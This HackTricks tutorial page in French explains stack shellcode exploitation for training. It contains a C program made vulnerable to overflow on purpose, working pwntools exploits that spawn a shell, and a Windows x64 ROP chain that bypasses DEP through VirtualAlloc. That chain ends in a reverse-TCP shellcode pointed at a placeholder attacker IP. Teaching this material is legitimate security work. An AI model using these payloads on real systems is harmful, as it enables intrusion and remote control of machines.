Stack Shellcode

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Stack shellcode est une technique utilisĂ©e dans la binary exploitation oĂč un attaquant Ă©crit du shellcode sur la stack d'un programme vulnĂ©rable puis modifie le Instruction Pointer (IP) ou Extended Instruction Pointer (EIP) pour pointer vers l'emplacement de ce shellcode, provoquant son exĂ©cution. C'est une mĂ©thode classique utilisĂ©e pour obtenir un accĂšs non autorisĂ© ou exĂ©cuter des commandes arbitraires sur un systĂšme cible. Voici une description du processus, incluant un exemple C simple et comment Ă©crire un exploit correspondant en Python avec pwntools.

Exemple en C : Un programme vulnérable

Commençons par un exemple simple d'un programme C vulnérable :

c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Ce programme est vulnérable à un buffer overflow en raison de l'utilisation de la fonction gets().

Compilation

Pour compiler ce programme en désactivant diverses protections (pour simuler un environnement vulnérable), vous pouvez utiliser la commande suivante :

sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: DĂ©sactive la protection de la stack.
  • -z execstack: Rend la stack exĂ©cutable, ce qui est nĂ©cessaire pour exĂ©cuter le shellcode stockĂ© sur la stack.
  • -no-pie: DĂ©sactive Position Independent Executable, ce qui facilite la prĂ©diction de l'adresse mĂ©moire oĂč notre shellcode sera situĂ©.
  • -m32: Compile le programme en exĂ©cutable 32-bit, souvent utilisĂ© pour simplifier l'exploit development.

Python Exploit using Pwntools

Voici comment écrire un exploit en Python utilisant pwntools pour réaliser une attaque ret2shellcode :

python
from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Ce script construit un payload composé d'un NOP slide, du shellcode, puis écrase le EIP avec l'adresse pointant vers le NOP slide, garantissant que le shellcode soit exécuté.

Le NOP slide (asm('nop')) est utilisé pour augmenter la probabilité que l'exécution "glisse" dans notre shellcode, indépendamment de l'adresse exacte. Ajustez l'argument de p32() à l'adresse de départ de votre buffer plus un offset pour atterrir dans le NOP slide.

Windows x64 : Contournement de NX avec VirtualAlloc ROP (ret2stack shellcode)

Sur les versions rĂ©centes de Windows la stack est non-exĂ©cutable (DEP/NX). Une mĂ©thode courante pour exĂ©cuter quand mĂȘme un shellcode rĂ©sidant sur la stack aprĂšs un stack BOF consiste Ă  construire une ROP chain 64-bit qui appelle VirtualAlloc (ou VirtualProtect) depuis l'Import Address Table (IAT) d'un module pour rendre une rĂ©gion de la stack exĂ©cutable, puis retourner dans le shellcode placĂ© juste aprĂšs la chain.

Points clés (convention d'appel Win64) :

  • VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
  • RCX = lpAddress → choose an address in the current stack (e.g., RSP) so the newly allocated RWX region overlaps your payload
  • RDX = dwSize → large enough for your chain + shellcode (e.g., 0x1000)
  • R8 = flAllocationType = MEM_COMMIT (0x1000)
  • R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
  • Return directly into the shellcode placed right after the chain.

Stratégie minimale :

  1. Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
  2. Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
  3. Place stage-2 shellcode immediately after the chain.

Example layout (conceptual):

# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET    # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----

Avec un ensemble de gadgets restreint, vous pouvez construire des valeurs de registres indirectement, par exemple :

  • mov r9, rbx; mov r8, 0; add rsp, 8; ret → dĂ©finir r9 depuis rbx, mettre r8 Ă  zĂ©ro, et compenser la pile avec un qword de remplissage.
  • xor rbx, rsp; ret → initialiser rbx avec le pointeur de pile courant.
  • push rbx; pop rax; mov rcx, rax; ret → placer dans RCX une valeur dĂ©rivĂ©e de RSP.

Pwntools sketch (en supposant une base connue et des gadgets) :

python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000  # example: resolve via reversing
rop  = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))

Conseils :

  • VirtualProtect fonctionne de façon similaire si rendre un buffer existant RX est prĂ©fĂ©rable ; l'ordre des paramĂštres est diffĂ©rent.

  • Si l'espace stack est limitĂ©, allouez RWX ailleurs (RCX=NULL) et jmp vers cette nouvelle rĂ©gion au lieu de rĂ©utiliser la stack.

  • Tenez toujours compte des gadgets qui ajustent RSP (p.ex., add rsp, 8; ret) en insĂ©rant des junk qwords.

  • ASLR should be disabled pour que l'adresse soit fiable entre exĂ©cutions, sinon l'adresse oĂč la fonction sera stockĂ©e ne sera pas toujours la mĂȘme et vous auriez besoin de quelque leak pour dĂ©terminer oĂč la win function est chargĂ©e.

  • Stack Canaries devraient aussi ĂȘtre dĂ©sactivĂ©s sinon l'adresse de retour EIP compromise ne sera jamais suivie.

  • NX stack protection empĂȘcherait l'exĂ©cution du shellcode dans la stack parce que cette rĂ©gion ne sera pas exĂ©cutable.

Autres exemples & références

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks